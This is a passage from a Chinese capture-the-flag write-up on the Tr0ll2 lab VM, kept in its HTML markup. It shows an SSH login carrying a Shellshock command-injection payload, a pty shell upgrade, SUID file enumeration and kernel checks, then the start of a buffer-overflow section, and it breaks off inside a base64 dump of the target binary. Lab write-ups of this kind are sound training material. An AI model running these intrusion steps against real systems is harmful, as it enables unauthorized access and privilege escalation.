&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ssh -i noob -o &lt;span class="nv"&gt;PubkeyAcceptedAlgorithms&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;+ssh-rsa -o &lt;span class="nv"&gt;HostKeyAlgorithms&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;+ssh-rsa noob@172.168.169.139 &lt;span class="s1"&gt;&amp;#39;() { :;}; /bin/bash&amp;#39;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250519225937803" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250519225937803.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;python -c &lt;span class="s1"&gt;&amp;#39;import pty; pty.spawn(&amp;#34;/bin/bash&amp;#34;)&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;换个好看的shell，到根目录下查看发现有个&lt;code&gt;nothing_to_see_here&lt;/code&gt;目录，此地无银三百两。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250519230940687" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250519230940687.png"&gt;&lt;/p&gt;
&lt;p&gt;在这个文件夹下有几个door文件夹，里面有可执行文件，执行了之后，我们就好像踩雷了。所有的命令出了似乎都没有权限了就。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door1$ ./r00t
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;./r00t
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;Good job, stand by, executing root shell...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;BUHAHAHA NOOB!
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door2$ ./r00t
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;./r00t
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="m"&gt;2&lt;/span&gt; MINUTE HARD MODE LOL
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250519231455221" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250519231455221.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250519231531958" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250519231531958.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250519231646655" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250519231646655.png"&gt;&lt;/p&gt;
&lt;p&gt;查阅其他WP发现用下面这个命令也可以找到三个door文件夹下面的脚本。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;find / -perm -4000 -print 2&amp;gt;/dev/null 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;是一个用于查找系统中具有 &lt;strong&gt;SUID 权限（Set User ID）&lt;/strong&gt; 文件的命令。发现这三个命令有SUID权限。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250520111123009" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250520111123009.png"&gt;&lt;/p&gt;
&lt;h4 id="扩展命令"&gt;&lt;strong&gt;扩展命令&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;查找 SGID 文件&lt;/strong&gt;（Set Group ID）：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;find / -perm -2000 -print 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;查找全局可写文件&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;find / -perm -0002 -type f 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;似乎就没法搞了，只能回复快照。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250520084557539" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250520084557539.png"&gt;&lt;/p&gt;
&lt;p&gt;顺带找一下内核信息&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250520093854086" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250520093854086.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;uname -a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;Linux Tr0ll2 3.2.0-29-generic-pae &lt;span class="c1"&gt;#46-Ubuntu SMP Fri Jul 27 17:25:43 UTC 2012 i686 i686 i386 GNU/Linux&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;lsb_release -a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;sh: 0: getcwd&lt;span class="o"&gt;()&lt;/span&gt; failed: No such file or directory
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;No LSB modules are available.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;Distributor ID: Ubuntu
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;Description: Ubuntu 12.04.1 LTS
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;Release: 12.04
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;Codename: precise
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="缓存溢出漏洞"&gt;缓存溢出漏洞
&lt;/h3&gt;&lt;h4 id="方法一gdb调试找偏移"&gt;方法一：gdb调试找偏移
&lt;/h4&gt;&lt;p&gt;我们重新回到ssh登录，再次找到这几个文件夹，这次我们就不执行了。先ls一下看看文件属性，可以看到door1和door2的脚本都是7.2K，只有door3的脚本比较特殊是8.3K&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ls -lahR
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250520092555818" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250520092555818.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; door3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;base64 r00t
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;得到如下结果&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAkIMECDQAAACEFAAAAAAAADQAIAAJACgAJAAhAAYAAAA0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;AAAANIAECDSABAggAQAAIAEAAAUAAAAEAAAAAwAAAFQBAABUgQQIVIEECBMAAAATAAAABAAAAAEA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;AAABAAAAAAAAAACABAgAgAQIjAYAAIwGAAAFAAAAABAAAAEAAAAUDwAAFJ8ECBSfBAgIAQAAEAEA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;AAYAAAAAEAAAAgAAACgPAAAonwQIKJ8ECMgAAADIAAAABgAAAAQAAAAEAAAAaAEAAGiBBAhogQQI
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;RAAAAEQAAAAEAAAABAAAAFDldGSUBQAAlIUECJSFBAg0AAAANAAAAAQAAAAEAAAAUeV0ZAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAABwAAAAQAAABS5XRkFA8AABSfBAgUnwQI7AAAAOwAAAAEAAAAAQAAAC9s
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;aWIvbGQtbGludXguc28uMgAABAAAABAAAAABAAAAR05VAAAAAAACAAAABgAAABgAAAAEAAAAFAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;AAMAAABHTlUAxUaFQ7rUdw8bxODDYM2LTwZAnIkCAAAABgAAAAEAAAAFAAAAACAAIAAAAAAGAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;rUvjwAAAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAASAAAAKQAAAAAAAAAAAAAAEgAAAAEAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAACAAAAAwAAAAAAAAAAAAAAASAAAAPAAAAAAAAAAAAAAAEgAAABoAAAB8hQQIBAAAABEA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt;DwAAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AF9JT19zdGRpbl91c2VkAHN0cmNweQBleGl0AHBy
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt;aW50ZgBfX2xpYmNfc3RhcnRfbWFpbgBHTElCQ18yLjAAAAACAAIAAAACAAIAAQAAAAEAAQAQAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt;EAAAAAAAAAAQaWkNAAACAE4AAAAAAAAA8J8ECAYDAAAAoAQIBwEAAASgBAgHAgAACKAECAcDAAAM
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt;oAQIBwQAABCgBAgHBQAAU4PsCOgAAAAAW4HD9xwAAIuD/P///4XAdAXoTQAAAOgIAQAA6BMCAACD
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt;xAhbwwAAAAAAAAAAAAAAAAAA/zX4nwQI/yX8nwQIAAAAAP8lAKAECGgAAAAA6eD/////JQSgBAho
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt;CAAAAOnQ/////yUIoAQIaBAAAADpwP////8lDKAECGgYAAAA6bD/////JRCgBAhoIAAAAOmg////
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt;Me1eieGD5PBQVFJoIIUECGiwhAQIUVZoRIQECOjP////9JCQkJCQkJCQkJCQkJCQVYnlU4PsBIA9
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt;HKAECAB1P6EgoAQIuyCfBAiB6xyfBAjB+wKD6wE52HMejbYAAAAAg8ABoyCgBAj/FIUcnwQIoSCg
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt;BAg52HLoxgUcoAQIAYPEBFtdw410JgCNvCcAAAAAVYnlg+wYoSSfBAiFwHQSuAAAAACFwHQJxwQk
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt;JJ8ECP/QycOQVYnlg+TwgewQAQAAg30IAXUii0UMixC4gIUECIlUJASJBCTo1P7//8cEJAAAAADo
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt;+P7//4tFDIPABIsAiUQkBI1EJBCJBCTowP7//7iRhQQIjVQkEIlUJASJBCTom/7//8nDkJCQkJCQ
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt;kJCQVVdWU+hpAAAAgcM7GwAAg+wci2wkMI27IP///+gj/v//jYMg////KcfB/wKF/3QpMfaNtgAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt;AACLRCQ4iSwkiUQkCItEJDSJRCQE/5SzIP///4PGATn+dd+DxBxbXl9dw+sNkJCQkJCQkJCQkJCQ
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt;kPPDixwkw5CQkJCQkJCQkJBVieVTg+wEoRSfBAiD+P90E7sUnwQIZpCD6wT/0IsDg/j/dfSDxARb
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt;XcOQkFOD7AjoAAAAAFuBw48aAADoT/7//4PECFvDAAADAAAAAQACAFVzYWdlOiAlcyBpbnB1dAoA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt;JXMAARsDOzAAAAAFAAAAnP3//0wAAACw/v//cAAAABz///+QAAAAjP///8wAAACO////4AAAABQA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAXpSAAF8CAEbDAQEiAEAACAAAAAcAAAASP3//2AAAAAADghGDgxKDwt0BHgAPxo7KjIk
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt;IhwAAABAAAAAOP7//2MAAAAAQQ4IhQJCDQUCX8UMBAQAOAAAAGAAAACE/v//YQAAAABBDgiFAkEO
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt;DIcDQQ4QhgRBDhSDBU4OMAJKDhRBDhDDQQ4MxkEOCMdBDgTFEAAAAJwAAAC4/v//AgAAAAAAAAAQ
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt;AAAAsAAAAKb+//8EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
